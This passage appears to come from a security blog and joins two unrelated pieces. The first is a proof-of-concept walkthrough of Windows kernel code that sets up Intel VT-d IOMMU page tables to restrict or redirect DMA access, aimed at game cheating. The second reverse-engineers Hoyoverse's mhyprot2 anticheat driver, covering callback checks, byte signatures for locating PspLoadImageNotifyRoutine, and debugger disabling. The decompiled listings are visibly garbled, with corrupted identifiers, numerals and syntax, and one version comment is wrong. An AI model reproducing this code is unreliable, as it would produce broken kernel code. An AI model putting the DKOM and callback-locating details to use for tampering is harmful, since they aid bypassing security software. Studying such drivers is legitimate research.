    CPU::MmIoRead<DWORD64>(DmarUnits[discoveredUnitCount].RegisterBasePa + R_CAP_REG);
DmarUnits[discoveredUnitCount].ExtendedCapability.Uint64 =
    CPU::MmIoRead<DWORD64>(DmarUnits[discoveredUnitCount].RegisterBasePa + R_ECAP_REG);

The function implements bounded discovery through MaxDmarUnitCount. This prevents buffer overflows in the DmarUnits array while allowing for systems with multiple remapping units. The zero initialization of DmarUnits using RtlZeroMemory ensures that any unused entries remain in a known state. We then zero out the register base address after reading to prevent potential reuse of the address by malicious code that might later access the DMAR table in memory.

if (discoveredUnitCount < MaxDmarUnitCount)
    {
       EFI_ACPI_DMAR_DRHD_HEADER* dmarUnit;

        dmarUnit = (EFI_ACPI_DMAR_DRHD_HEADER*)dmarHeader;
        DmarUnits[discoveredUnitCount].RegisterBasePa = dmarUnit->RegisterBaseAddress;

        DmarUnits[discoveredUnitCount].Capability.Uint64 =
            CPU::MmIoRead<DWORD64>(DmarUnits[discoveredUnitCount].RegisterBasePa + R_CAP_REG);
        DmarUnits[discoveredUnitCount].ExtendedCapability.Uint64 =
            CPU::MmIoRead<DWORD64>(DmarUnits[discoveredUnitCount].RegisterBasePa + R_ECAP_REG);

        dmarUnit->RegisterBaseAddress = 0;
    }

The function's error handling covers two critical cases:

1. Too many units discovered (discoveredUnitCount > MaxDmarUnitCount)

2. Invalid DMAR table pointer (initial check)

Each failure case returns a specific status code that allows the caller to handle the error appropriately.

• STATUS_UNSUCCESSFUL: No units found

        if (discoveredUnitCount == 0)
        {
            DbgMsg("[VT-d] No DMA remapping hardware unit found");
            return STATUS_UNSUCCESSFUL;
        }
  

• STATUS_RESOURCE_NOT_OWNED: Too many units

        if (discoveredUnitCount > MaxDmarUnitCount)
        {
            DbgMsg("[VT-d] Too many DMA remapping hardware units found (%llu)",
                discoveredUnitCount);
            return STATUS_RESOURCE_NOT_OWNED;
        }
  

The implementation establishes a four-level page table hierarchy for DMA address translation, mirroring the structure used by modern x86-64 CPU memory management. This hierarchy is initialized through the BuildPassthroughTranslations function, which creates an identity mapping for all PCI devices up to 512GB of physical memory. The function meticulously constructs root tables, context tables, and second-level page tables.

VOID BuildPassthroughTranslations(OUT DMAR_TRANSLATIONS* Translations)
{
    VTD_ROOT_ENTRY defaultRootValue;
    VTD_CONTEXT_ENTRY defaultContextValue;
    VTD_SECOND_LEVEL_PAGING_ENTRY* pdpt;
    VTD_SECOND_LEVEL_PAGING_ENTRY* pd;
    VTD_SECOND_LEVEL_PAGING_ENTRY* pml4e;
    VTD_SECOND_LEVEL_PAGING_ENTRY* pdpte;
    VTD_SECOND_LEVEL_PAGING_ENTRY* pde;

The implementation supports granular memory protection through page splitting mechanisms. When fine-grained control is needed over a specific 4KB page within a 2MB large page, the Split2MbPage function dynamically splits the large page into 512 individual 4KB pages. This operation is crucial for implementing precise memory protection policies.

VTD_SECOND_LEVEL_PAGING_ENTRY* Split2MbPage(IN OUT VTD_SECOND_LEVEL_PAGING_ENTRY* PageDirectoryEntry) {
    pageTable = (VTD_SECOND_LEVEL_PAGING_ENTRY*)cpp::kMalloc(PAGE_SIZE);
    baseAddress = ((UINT64)PageDirectoryEntry->Bits.AddressLo << 12) |
        ((UINT64)PageDirectoryEntry->Bits.AddressHi << 32);

    for (UINT64 ptIndex = 0; ptIndex < 512; ++ptIndex) {
        pageTable[ptIndex].Uint64 = baseAddress;
        pageTable[ptIndex].Bits.Read = readable;
        pageTable[ptIndex].Bits.Write = writable;
        baseAddress += PAGE_SIZE;
    }
}

The function constructs a page table hierarchy consisting of:

1. Root Table: The highest level table containing 256 entries, one for each PCI bus number

2. Context Table: Referenced by root entries, containing device and function specific translations

3. Second-level page tables: PML4, PDPT (Page Directory Pointer Table), PD (Page Directory), and PT (Page Table) forming a four-level address translation structure

The root table initialization is particularly important:

defaultRootValue.Uint128.Uint64Hi = defaultRootValue.Uint128.Uint64Lo = 0;
UINT64 contextTable = (UINT64)Memory::VirtToPhy(Translations->ContextTable);
defaultRootValue.Bits.ContextTablePointerLo = (UINT32)(contextTable >> 12);
defaultRootValue.Bits.ContextTablePointerHi = (UINT32)(contextTable >> 32);
defaultRootValue.Bits.Present = TRUE;

Each root entry is a 128-bit structure that points to a context table. The physical address of the context table is split into high and low components because the hardware expects the address to be page-aligned (hence the right shift by 12). The Present bit indicates that the entry is valid and can be used by the hardware.

The context table setup demonstrates the configuration for 48-bit addressing. The AddressWidth field set to BIT1 (010b) specifically configures for 48-bit guest addresses, requiring four-level page tables. The DomainIdentifier provides isolation between different sets of remapping tables.

defaultContextValue.Bits.DomainIdentifier = 2;
defaultContextValue.Bits.AddressWidth = BIT1;  // 010b: 48-bit AGAW (4-level page table)
defaultContextValue.Bits.SecondLevelPageTranslationPointerLo = (UINT32)(Pml4 >> 12);
defaultContextValue.Bits.SecondLevelPageTranslationPointerHi = (UINT32)(Pml4 >> 32);
defaultContextValue.Bits.Present = TRUE;

The second-level page tables implement the actual memory mapping.

destinationPa = 0;
pml4Index = 0;
pdpt = Translations->SlPdpt[pml4Index];
pml4e = &Translations->SlPml4[pml4Index];
pml4e->Uint64 = (UINT64)Memory::VirtToPhy(pdpt);
pml4e->Bits.Read = TRUE;
pml4e->Bits.Write = TRUE;

The code uses 2MB large pages at the PD level to reduce the number of page tables needed.

pde = &pd[pdIndex];
pde->Uint64 = destinationPa;
pde->Bits.Read = TRUE;
pde->Bits.Write = TRUE;
pde->Bits.PageSize = TRUE;
destinationPa += SIZE_2MB;

The PageSize bit set to TRUE indicates a 2MB page rather than a reference to a page table of 4KB pages. This optimization significantly reduces memory overhead while still providing sufficient granularity for most DMA operations.

Cache coherency is maintained through explicit writeback operations. This is crucial because the IOMMU hardware reads these tables directly from memory, and any cached modifications must be written back to ensure the hardware sees the updated values.

CPU::WriteBackDataCacheRange(Translations, sizeof(*Translations));

The identity mapping is created by setting the destination physical address equal to the input address (destinationPa variable), effectively making DMA operations initially transparent to devices while still going through the remapping hardware. This allows for later modification of the mappings to implement protection or isolation without requiring device driver changes.

The entire structure supports mapping up to 512GB of physical memory (one PML4 entry × 512 PDPT entries × 512 PD entries × 2MB per page), which is sufficient for most systems while keeping the page table structure manageable. The use of large pages significantly reduces the memory overhead and translation latency compared to using 4KB pages throughout the hierarchy.

ChangePermissionOfPageForAllDevices then orchestrates fine-grained DMA access control by manipulating the hardware's page table entries. The function's sophisticated implementation allows for atomic permission modifications while maintaining system stability and security guarantees. At its core, it operates on the Intel VT-d second-level page table structure, which provides hardware-enforced DMA access control at a 4KB page granularity.

EFI_STATUS ChangePermissionOfPageForAllDevices(
    IN OUT DMAR_TRANSLATIONS* Translations,
    IN UINT64 Address,
    IN BOOLEAN AllowReadWrite,
    OUT VTD_SECOND_LEVEL_PAGING_ENTRY** AllocatedPageTable)
{
    PHYSICAL_ADDRESS pa = { 0 };
    EFI_STATUS status;
    ADDRESS_TRANSLATION_HELPER helper;
    VTD_SECOND_LEVEL_PAGING_ENTRY* pde;
    VTD_SECOND_LEVEL_PAGING_ENTRY* pt;
    VTD_SECOND_LEVEL_PAGING_ENTRY* pte;

At the core of VT-d's permission management system lies the translation helper structure, which provides a precise mechanism for breaking down physical addresses into their constituent page table indices.

The function employs a critical address translation mechanism through the ADDRESS_TRANSLATION_HELPER union structure, which provides a binary-compatible overlay that decomposes a 48-bit physical address into its constituent page table indices. The decomposition splits the address bits into PML4 (bits 47-39), PDPT (bits 38-30), PD (bits 29-21), and PT (bits 20-12) indices, with the remaining bits (11-0) representing the page offset. This decomposition is crucial for traversing the page table hierarchy efficiently and accurately.

typedef union _ADDRESS_TRANSLATION_HELPER {
    UINT64 AsUInt64;
    struct {
        UINT64 Offset : 12;    // Bits 0-11: Page offset within 4KB
        UINT64 Pt : 9;         // Bits 12-20: Page Table index
        UINT64 Pd : 9;         // Bits 21-29: Page Directory index
        UINT64 Pdpt : 9;       // Bits 30-38: Page Directory Pointer Table index
        UINT64 Pml4 : 9;       // Bits 39-47: PML4 index
        UINT64 Reserved : 16;   // Bits 48-63: Must be zero for valid addresses
    } AsIndex;
} ADDRESS_TRANSLATION_HELPER;

Memory management safety is enforced through rigorous boundary checking. The function validates that the target address falls within the supported 48-bit physical address space by examining the PML4 index. Any address with a non-zero PML4 index exceeds the maximum supported physical address range, triggering an immediate failure with STATUS_UNSUCCESSFUL. This validation prevents potential security vulnerabilities that could arise from accessing out-of-bounds memory regions.

The function handles the complex scenario of 2MB large pages through a sophisticated page splitting mechanism. When encountering a page directory entry (PDE) marked with PageSize=TRUE (indicating a 2MB page), it invokes the Split2MbPage function. This operation atomically converts a single 2MB mapping into 512 individual 4KB page mappings, maintaining the original permissions while enabling fine-grained control. The splitting operation must carefully manage memory allocation, permission inheritance, and cache coherency to prevent any temporal vulnerabilities during the transition.

The permission modification process involves intricate physical memory manipulation. The function reconstructs the physical address of the target page table by combining the split address fields (AddressHi and AddressLo) from the page directory entry. This address is then temporarily mapped into the kernel's virtual address space using MmMapIoSpaceEx with specific caching attributes (PAGE_READWRITE | PAGE_NOCACHE) to ensure direct hardware access, which prevents stale cache lines from interfering with IOMMU operations.

We then need to write back modified page table entries using CPU::WriteBackDataCacheRange to ensure that all CPU caches are flushed to memory before the IOMMU hardware accesses the modified entries. Without proper cache management, there exists a race condition where the IOMMU might use stale permissions from its internal caches or encounter inconsistent memory state due to un-written CPU cache lines.

The real-time permission modification occurs through direct manipulation of the page table entry's permission bits. The function updates both Read and Write bits atomically based on the AllowReadWrite parameter. When these bits are cleared, the IOMMU hardware will actively block any DMA operations targeting the corresponding 4KB page, raising a remapping fault that can be logged and handled by the system software. This hardware-enforced blocking occurs without any runtime overhead once the permissions are set.

// Locate the PDE for our target address
    pde = &Translations->SlPd[helper.AsIndex.Pml4][helper.AsIndex.Pdpt][helper.AsIndex.Pd];

    // If this is a 2MB page, split it into 4KB pages
    if (pde->Bits.PageSize != FALSE) {
        *AllocatedPageTable = Split2MbPage(pde);
        if (*AllocatedPageTable == NULL) {
            status = STATUS_RESOURCE_NOT_OWNED;
            goto Exit;
        }
    }

    // Get the physical address of the page table
    pt = (VTD_SECOND_LEVEL_PAGING_ENTRY*)(((UINT64)pde->Bits.AddressLo << 12) |
        ((UINT64)pde->Bits.AddressHi << 32));

    // Map the page table into kernel virtual address space
    pa.QuadPart = (ULONGLONG)pt;
    pt = (VTD_SECOND_LEVEL_PAGING_ENTRY*)MmMapIoSpaceEx(
        pa, 
        PAGE_SIZE, 
        PAGE_READWRITE | PAGE_NOCACHE
    );

    // Update the specific PTE's permissions
    pte = &pt[helper.AsIndex.Pt];
    pte->Bits.Read = AllowReadWrite;
    pte->Bits.Write = AllowReadWrite;

    // Ensure changes are written to memory
    CPU::WriteBackDataCacheRange(pte, sizeof(*pte));

The IOMMU hardware maintains its own Translation Lookaside Buffer (IOTLB) which caches address translations and permissions for performance optimization., but when page table entries are modified, these cached values must be explicitly invalidated to ensure the new permissions take immediate effect. The invalidation process is carried out through specific MMIO registers in the IOMMU, particularly the IOTLB Invalidate Register. This register not only triggers the invalidation but also provides granular control over the scope and type of invalidation performed. The invalidation command includes flags for draining both read (DR) and write (DW) requests, ensuring that all in-flight DMA operations complete before the new permissions take effect.

The IIRG (Invalidation Request Granularity) field allows for selective invalidation targeting specific domains or global invalidation of all entries. Furthermore, the hardware implements a handshake mechanism where software must wait for the IVT (Invalidate IOTLB) bit to clear, indicating completion of the invalidation process, before proceeding. This synchronization is crucial because without it, there would be a race condition where DMA operations might still use cached permissions from the old page table entries, potentially bypassing the intended access restrictions.

typedef struct _VTD_IOTLB_INVALIDATE_REG {
    union {
        struct {
            UINT64 Reserved1 : 32;           // Reserved bits
            UINT64 Domain_Id : 16;           // Domain ID for selective invalidation
            UINT64 IIRG : 2;                 // Invalidation granularity
            UINT64 Reserved2 : 2;            // More reserved bits
            UINT64 DR : 1;                   // Drain Reads
            UINT64 DW : 1;                   // Drain Writes
            UINT64 Reserved3 : 9;            // Additional reserved bits
            UINT64 IVT : 1;                  // Invalidate IOTLB
        } Bits;
        UINT64 Uint64;
    };
} VTD_IOTLB_INVALIDATE_REG, *PVTD_IOTLB_INVALIDATE_REG;

// Invalidate IOTLB and wait for completion
reg.InvalidateIoTlb(B_IOTLB_REG_IVT | V_IOTLB_REG_IIRG_GLOBAL | V_IOTLB_REG_DR | V_IOTLB_REG_DW);
while ((CPU::MmIoRead<UINT32>(reg.RegisterBase + R_IOTLB_REG) & B_IOTLB_REG_IVT) != 0) {
    _mm_pause();  // Wait for invalidation to complete
}

After ChangePermissionOfPageForAllDevices controls the read/write access rights through the page table entry's permission bits, ChangePointerOfPageForAllDevices extends this protection by actually redirecting the physical address translation in the IOMMU page tables.

ChangePointerOfPageForAllDevices implements DMA remapping by modifying the physical address translation within the IOMMU page tables, which allows for transparent redirection of DMA operations from one physical page to another.

EFI_STATUS ChangePointerOfPageForAllDevices(
    IN OUT DMAR_TRANSLATIONS* Translations,
    IN UINT64 Address,
    IN UINT64 SubstituteAddress,
    OUT VTD_SECOND_LEVEL_PAGING_ENTRY** AllocatedPageTable)
{
    PHYSICAL_ADDRESS pa = { 0 };
    EFI_STATUS status;
    ADDRESS_TRANSLATION_HELPER helper;
    VTD_SECOND_LEVEL_PAGING_ENTRY* pde;
    VTD_SECOND_LEVEL_PAGING_ENTRY* pt;
    VTD_SECOND_LEVEL_PAGING_ENTRY* pte;

The address validation mechanism implements a dual-layer verification process. It first checks if the provided address is a valid virtual address using MmIsAddressValid, and if so, performs the virtual-to-physical translation through Memory::VirtToPhy. This flexibility allows the function to handle both virtual and physical addresses seamlessly while maintaining system security. The ADDRESS_TRANSLATION_HELPER union then decomposes the resulting physical address into its constituent page table indices.

if (MmIsAddressValid((PVOID)Address))
    Address = Memory::VirtToPhy((PVOID)Address);

helper.AsUInt64 = Address;
DbgMsg("[VT-d] Target 0x%llx at pml4: 0x%llx, pdpt: 0x%llx, pdt: 0x%llx, pt: 0x%llx",
    helper.AsUInt64,
    helper.AsIndex.Pml4, helper.AsIndex.Pdpt, helper.AsIndex.Pd, helper.AsIndex.Pt);

The page table manipulation process begins with locating the appropriate Page Directory Entry (PDE) through the calculated indices. When encountering a 2MB large page, indicated by the PageSize bit in the PDE, the function invokes the specialized Split2MbPage operation. This complex procedure allocates a new page table and redistributes the large page mapping into 512 individual 4KB page entries, maintaining consistency throughout the transition.

pde = &Translations->SlPd[helper.AsIndex.Pml4][helper.AsIndex.Pdpt][helper.AsIndex.Pd];
if (pde->Bits.PageSize != FALSE)
{
    *AllocatedPageTable = Split2MbPage(pde);
    if (*AllocatedPageTable == NULL)
    {
        status = STATUS_RESOURCE_NOT_OWNED;
        goto Exit;
    }
}

The actual address remapping reconstructs the physical address of the page table from the PDE's split address fields, maps it into the kernel's address space using MmMapIoSpaceEx with specific caching attributes, and modifies the target PTE. The substitute address undergoes similar virtual-to-physical translation if necessary, and its lower and upper portions are stored in the PTE's address fields.

pt = (VTD_SECOND_LEVEL_PAGING_ENTRY*)(((UINT64)pde->Bits.AddressLo << 12) |
    ((UINT64)pde->Bits.AddressHi << 32));
pa.QuadPart = (ULONGLONG)pt;
pt = (VTD_SECOND_LEVEL_PAGING_ENTRY*)MmMapIoSpaceEx(pa, PAGE_SIZE, PAGE_READWRITE | PAGE_NOCACHE);
pte = &pt[helper.AsIndex.Pt];

if (MmIsAddressValid((PVOID)SubstituteAddress))
    SubstituteAddress = Memory::VirtToPhy((PVOID)SubstituteAddress);

pte->Bits.AddressLo = SubstituteAddress >> 12;
pte->Bits.AddressHi = SubstituteAddress >> 32;

While some anticheat vendors have used interesting methods to limit attacker visibility into game-related memory regions, such as using CPU paging-based guarded regions (which Vanguard famously already implements), these methods can easily be bypassed using tools like the MemProcFS. But this method is really a proof of concept shitpost rather than anything that could actually be deployed live today in a production environment, alot of driver interactions need to be taken into account before one could truly implement this. But it would be nice if anticheats can stop expecting the worse out of people who want to play fairly.

Cover Illustration by ireneparamithaa

Hoyoverse, the studio behind some of the most popular games in recent years, has increasingly found itself in the crosshairs of cybercriminals and threat actors. With the company recently securing the title of "Most Expensive Game to Develop" and repeatedly breaking sales records, it's no surprise that its games have become prime targets. Hoyoverse, or its parent company MiHoYo, depending on the interpretation of its complex corporate structure, has turned into a revenue juggernaut—making it a lucrative focus for attackers.

Despite employing several anticheat solutions—such as MiHoYo Protect (mhyprot), Hoyoverse Kernel Protection (HoYoKProtect), and Tencent's Anti Cheat Expert (ACE)—all have been circumvented by various cheating groups. The games and their supporting anticheat engines have also attracted attention from threat actors seeking to exploit vulnerabilities in their drivers and applications.

In fact, there have been multiple instances of MiHoYo’s game binaries and related applications being leveraged to distribute malware. Below is a brief, albeit non-exhaustive, overview of significant incidents involving MiHoYo’s software being compromised or exploited for malicious purposes.

Genshin Impact Vulnerable Driver (Rever Ransomware)

In August 2022, TrendMicro reported on a Babuk-based ransomware exploit that utilized Genshin Impact's anti-cheat drivers to bypass kernel-level privileges. It was later found that the note similar to the note given by Rever Ransomware.

While Genshin Impact doesn't feature PvP mechanisms, its stringent monetization structure necessitates robust anti-tampering technologies to ensure the integrity of its random number generation (RNG) systems, thereby safeguarding MiHoYo's monetization model.

mhyprot2 is a part of miHoYo’s clientside anti-cheat approach. As kernel mode drivers have system-level privilege, these types of anticheat mechanisms often provoke controversy about user’s privacy and with many calling similar systems like Riot’s Vanguard or EasyAntiCheat as rootkits.

Following NT kernel APIs are used in mhyprot2:

• The PsSetCreateProcessNotifyRoutine routine adds a driver-supplied callback routine to, or removes it from, a list of routines to be called whenever a process is created or deleted.

• The PsSetCreateThreadNotifyRoutine routine registers a driver-supplied callback that is subsequently notified when a new thread is created and when such a thread is deleted.

• The PsSetLoadImageNotifyRoutine routine registers a driver-supplied callback that is subsequently notified whenever an image is loaded (or mapped into memory). This is the routine that we would be discussing.

The advantage of using these hooks is that mhyprot can easily know when any module or component is being mapped to the game process that mhyprot protects. But how about when a piece of malicious code removes mhyprot’s callback routine on the system? There exists a validation routine that makes sure that mhyprot’s callback routine is active on the system.

BOOLEAN __stdcall IsLoadImagellotifyRoutineExists()
{
    char *_pPspLoadImageNotifyRoutine; // rax 
    int Counter2; // ebx
    int Counter: // esi 
    __int64 i; // r14 
    char *CallbackBlock; // rdi 
    __int64 RefCallbackBlock; // rdi
    __int64 j; // rdx

    _pPspLoadImageNotifyRoutine = (char *)gpPspLoadImageNotifyRoutine;
    Counter2 = 0;
    // if gpPspLoadImagellotifyRoutine not set, then set
    if (!gpPspLoadImagellotifyRoutine )
    {
        _pPspLoadImageNotifyRoutine = FindPspRemoveLoadImageNotifyRoutine_sub_140006B240);
        gpPspLoadImageNotifyRoutine = (__int64)_pPspLoadImageNotifyRoutine;
        if ( !_pPspLoadImagellotifyRoutine )
            return 1;
    }
    Counter = 0;
    for ( i = 0164; ; i += 8164 )
    {
        CallbackBlock = &_pPspLoadImage lotifyRoutine[il;
        if (&_pPspLoadImageNotifyRoutine[i])
            break;
ContinueEnumeration:
    // Every callback-block arrays have up to 64 of its size
    if ( (unsigned int)++Counter >= 64 )
        return 0;
    }
    if(!(unsigned __int8)mIsAddressValid(&_pPspLoadImageNotifyRoutine[i])
        || (RefCallbackBlock = *(_QWORD *)CallbackBlock) == 0
        || !(unsigned _int8)NmIsAddressValid(RefCallbackBlock)
        || *(void (__fastcall **)(__int64, __int64))((RefCallbackBlock & OxFFFFFFFFFFFFFFFOui64) + 8) != MhyLoadImageCallback )
    {
        _pPspLoadImageNotifyRoutine = (char *)gpPspLoadImageNotifyRoutine;
        goto ContinueEnumeration;
    }

    // validate pointer
    for (j = 0164; *(_DWORD *)((char *)&unk_14000A638 + j) == *(_DWORD *)((char *)MhyLoadImageCallback + j); j += 4164 )
    {
        if ( (unsigned int)++Counter2 >= 8 )
        return 1;    
    }
    return 0;
}

To safeguard against potential tampering, mhyprot2 implements a validation routine that ensures its callback routine remains active on the system. The detection logic first checks if the global pointer to PspLoadImageNotifyRoutine is set. If not set, it attempts to find and set it using a custom function. It then iterates through the callback blocks (up to 64 entries), validating each callback block and checking if it matches mhyprot's callback function pointer.

The process begins by obtaining the PspLoadImageNotifyRoutine array pointer using the FindPspRemoveLoadImageNotifyRoutine_sub_140006B24 function. The system then meticulously enumerates through each callback-block entry, validating each one. If a match is found with mhyprot's callback function pointer, the function returns TRUE, indicating that the callback is still active and unaltered.

However, if no match is found after examining all entries, the function returns FALSE. This FALSE return could signify either that the callback was intentionally removed by malicious code attempting to bypass the anti-cheat system, or that it was never properly registered in the first place.

DKOM Countermeasures

To counter potential Direct Kernel Object Manipulation (DKOM) attacks, a technique often employed by malware to conceal processes or drivers, mhyprot2 implements a sophisticated signature scanning mechanism. This approach allows the anti-cheat system to locate specific function or variable pointers crucial to its operation

PspLoadImageNotifyRoutine is not exported by ntoskrnl due to Microsoft never recommending DKOM methods for device drivers. Instead, mhyprot2 uses FindPspRemoveLoadImageNotifyRoutine_sub_140006B24.

RtlInitUnicodeString(&DestinationString,L"PsRemoveLoadImagellotifyRoutine");
pPsRemoveLoadImagellotifyRoutine=(char*)MmGatSystamRoutinaAddress(&DestinationString);
StubBase=pPsRemoveLoadImageNotifyRoutine;
if(pPsRemoveLoadImagellotifyRoutine)
{
    if ( (unsigned int)gWinVer >= 61
    {
        if ( (unsigned int)gWinVer <= 63 )     // Windows Vista « 8.1
        {
            MaxAddressToSearch = (unsigned _int64)(pPsRemoveLoadImageNotifyRoutine + 255);
            while ((unsigned __int64)StubBase < MaxAddressToSearch)
            {
                if ( *StubBase == 0x48
                  && StubBase[1] == 0x8Du
                  && StubBase[2] == OxD
                  && StubBase[7] == 0x8Bu
                  && StubBase[8] == Oxc6u )
                {
                DerefPointer = &StubBase[*( DWORD *)(StubBase + 3) + 7]:
ValidateAndReturn:
                if ( DerefPointer && (unsigned __int8)MmIsAddressValid(DerefPointer))
                    goto LABEL_26;
                break;
            }
            ++StubBase;
        }
    }
    else if ( gWinver == 100 )    // Windows 10 (Major=19, Minor=0)
    {
        for (i = (unsigned __int64) (pPsRemoveLoadImageNotifyRoutine + 12);
             i < (unsigned ._int64) (pPsRemoveLoadImageNotifyRoutine + 255);
             ++i )
    {
    if (*( BYTE *)(i - 2) == 0x33
        && * ( BYTE *)(i + 1) == 0x8Du
        && * ( BYTE *)(i - 9) == 0x44
        && * ( BYTE *)(i - 10) == 0x66
        && * ( BYTE *)(i + 11) == 0x48 )
    {
        DerefPointer = (char *)(i + *( DWORD *)(: + 3) + 7);
        goto ValidateAndReturn;
    }
   }
  }
 }
     DerefPointer = Oi64:

The driver first obtains the address of PsRemoveLoadImageNotifyRoutine using the MmGetSystemRoutineAddress function. This serves as the starting point for the scan. The system then scans a range of memory starting from the address of PsRemoveLoadImageNotifyRoutine and extending 255 bytes (0xFF in hexadecimal) beyond it. This range is chosen because the PspLoadImageNotifyRoutine array is typically located within this vicinity.

If a match for the signature pattern is found within this range, mhyprot2 dereferences the address, performs validation checks, and if successful, returns this address as the location of the PspLoadImageNotifyRoutine array. In the event that no matching pattern is found within the specified range, the system falls back to returning the function pointer of PsRemoveLoadImageNotifyRoutine itself.

But the methodology varies depending on the Windows version in use. For Windows 7 through 8.1, mhyprot2 searches for the pattern \x48\x8D\x0D\x00\x00\x00\x00\x8B\xC6, using the mask xxx????xx. This corresponds to the instruction lea rcx, PspLoadImageNotifyRoutine followed by mov eax, esi.

For Windows 10 and later, it uses a different pattern: \x48\x66\x44\x00\x00\x00\x00\x00\x00\x33\x00\x00\x8D, with the mask xxx??????x??x. This pattern identifies a nearby instruction sequence unique to newer Windows versions.

These byte sequences serve as fingerprints for locating the PspLoadImageNotifyRoutine array in memory.

PAGE:0000000140CAD62    lea     rcx, PspLoadImageNotifyRoutine
PAGE:0000000140CAD69    lea     rbp, [rcx+rdi*8]
PAGE:0000000140CAD70    mov     rcx, rbp
PAGE:0000000140CAD73    call    ExReferenceCallBackBlock
PAGE:0000000140CAD78    mov     rbx, rax
PAGE:0000000140CAD7B    test    rax, rax
PAGE:0000000140CAD7E    jz      short loc_140CAD9F
PAGE:0000000140CAD80    cmp     [rax+8], r14
PAGE:0000000140CAD84    jnz     short loc_140CAD94
PAGE:0000000140CAD86    mov     r8, rax
PAGE:0000000140CAD89    xor     edx, edx
PAGE:0000000140CAD8B    mov     rcx, rbp
PAGE:0000000140CAD8E    call    ExCompareExchangeCallBack
PAGE:0000000140CAD93    test    al, al

The code first locates a specific callback within the array using an index. It then employs a careful process to safely reference and potentially modify the callback. This involves using ExReferenceCallBackBlock to ensure the callback isn't deallocated during the operation, followed by a integrity check comparing the callback to an expected value.

If the integrity check passes, the code prepares to modify the callback using ExCompareExchangeCallBack. This function likely performs an atomic compare-and-exchange operation, allowing for thread-safe modification of the callback.

Windows Version Detection

Since of course ntoskrnl is different on every version of Windows, the driver needs to verify which version of windows they’re running on by gWinVer which set by GetAndSetGlobalVersionVariable.

char GetAndSetGlobalVersionVariable()
{
    int minorVersion; // [rsp+30h] [rbp+8h]
    int majorVersion; // [rsp+38h] [rbp+10h]

    if ( gwinVer )
        return 1;
    majorVersion = 0;
    minorVersion = 0;
    PsGetVersion (&majorVersion, &minorVersion, 0i64, 0i64);
    if (majorVersion == 5 )
    {
        if (minorVersion == 1 )
        {
        gWinVer = 51;
        return 1;
        }
    }
    else if (majorVersion == 6 )             // Windows Vista - 8.1
    {
        switch ( minorVersion )
        {
          case 1:
            gWinVer = 61;
            return 1;
          case 2:
            gWinVer = 62;
            return 1;
          case 3:
            gWinVer = 63;
            return 1;
        }
    }
    else if (majorVersion == 10 && !minorVersion )
    {
        gWinVer = 100;
        return 1;
    }
gwinVer = 0;
return 0;

The function begins by checking if a global version variable (gWinVer) has already been set. If it has, the function immediately returns, avoiding redundant version checks. This approach optimizes performance by ensuring the potentially time-consuming version detection process occurs only once during the driver's operation.

If the global version variable hasn't been set, the function proceeds to use the PsGetVersion API. This API call retrieves the major and minor version numbers of the operating system. Interestingly, mhyprot2 uses PsGetVersion despite it being considered obsolete after Windows XP, having been replaced by RtlGetVersion in more recent Windows versions.

If the detected version doesn't match any of these known configurations, gWinVer is set to 0, likely indicating an unknown or unsupported Windows version.

The choice to use PsGetVersion might be driven by compatibility concerns. It's possible that the developers of mhyprot2 wanted to ensure their anti-cheat system could function on a wide range of Windows versions, including older systems that might still be in use in some markets. This backward compatibility could be particularly important in regions where older hardware and operating systems remain prevalent.

Validation Routine

he Validation Routine is a critical component of mhyprot2's integrity checking mechanism. This routine is designed to ensure that all the anti-cheat system's protective measures remain active and uncompromised during the game's operation. The routine is implemented through a function that we can refer to as CheckForAllCallbacks.

bool CheckForAllCallbacks()
{
    return !GetAndSetGlobalVersionVariable()
    || IsgpPspLoadImageNotifyRoutineValid()
    && IsLoadImageNotifyRoutineExist()
    && IsProcessCreateNotifyRoutineExist()
    && IsCreateThreadNotifyRoutineExist()
}

This function performs a series of checks to validate the integrity of various callback routines essential to mhyprot2's operation. Let's examine each component of this validation process:

1. GetAndSetGlobalVersionVariable(): This call ensures that the Windows version has been properly detected and set. If this function returns true (indicating a failure in version detection), the overall check fails immediately.

2. IsgpPspLoadImageNotifyRoutineValid(): This check verifies the validity of the global pointer to the PspLoadImageNotifyRoutine. It's crucial for ensuring that the system can properly monitor image loading events.

3. IsLoadImageNotifyRoutineExist(): This function confirms that the Load Image Notify Routine is still registered and active. This routine is vital for detecting when new modules or DLLs are loaded into the game process.

4. IsProcessCreateNotifyRoutineExist(): This check ensures that the Process Create Notify Routine is still in place. This routine allows mhyprot2 to monitor the creation of new processes, which is essential for detecting potential cheat launchers or injectors.

5. IsCreateThreadNotifyRoutineExist(): This function verifies that the Create Thread Notify Routine is active. This routine enables mhyprot2 to monitor thread creation, which is crucial for detecting certain types of code injection techniques.

The function returns true only if all these checks pass (note the use of logical AND operators), indicating that all necessary callback routines are in place and functioning as expected. If any of these checks fail, it could indicate that the anti-cheat system has been compromised or disabled in some way.

NTSTATUS MhyChecksumForever()
{
    unsigned __int64 v0; // rbx 
    char Dest; // [rsp+30h] [rbp-Doh]
    char v3; // [rsp+168h] [rbp+68h] 
    int v4; // [rsp+170h] [rbp+70h]
    int v5; // [rsp+178h] [rbp+78h]

    v0 = 1i64;
    sub_1400014E0();
    v4 = 1;
    _InterlockedCompareExchange(6v4, -1, dword_14000A6E8);
    while ( v4 != -1 )
    {
        v5 = 0;
        _InterlockedCompareExchange(&v5, -1, dword_14000A010);
        if ( v5 == -1 )
        {
            if (dword_14000A6FC <= 0 )
            {
                ++dword_14000A6FC;
                sub_140997500(6Dest, 0i64, 256164); sprintf(&Dost, 0x100ui64, "Status false\r\n");
                snprintf(&Dest, 0i64, 256i64);
                sub_1409059EC(0i64, &Dest);
                _InterlockedExchange(&dword_14000A6F8, 1);
            }
        }
        else
        {
            _InterlockedAdd(Gdword_14000A010, OxFFFFFFFF);
            if (v0 & 0x32 == 11 )
            {
                v3 = 0;
                KdChangeOption(0i64, 1i64, &v3, 0i64, 0i64, 0164);
                KdDisableDebugger();
                LOBYTE(KdDebuggerEnabled) = 0;
                if ( (unsigned _int8)sub_140001490() == 1 )
                    _InterlockedExchange(&dword_14009AGEC, 3);
            }
        }
        if ( v0 == 50 * (v0 / 0x32) && ChockForBothObAndALLPsCallbacks() )
            _InterlockedExchange(&dword_14000AGEC, 3);
        if (v0 & Ox1E == 11 && Object )
            KeSetEvent((PREVENT)object, 0, 0);
        MhySleepKernelThread(100);
        ++v0;
        sub_1400014E00();
        v4 = 1;
        _InterlockedCompareExchange(&v4, -1, dword_14000A6E8);
    }
    return PsTerminateSystenThread(0);

In this context, CheckForBothObAndAllPsCallbacks likely includes the CheckForAllCallbacks function along with additional checks for Object Manager callbacks (ObRegisterCallbacks).

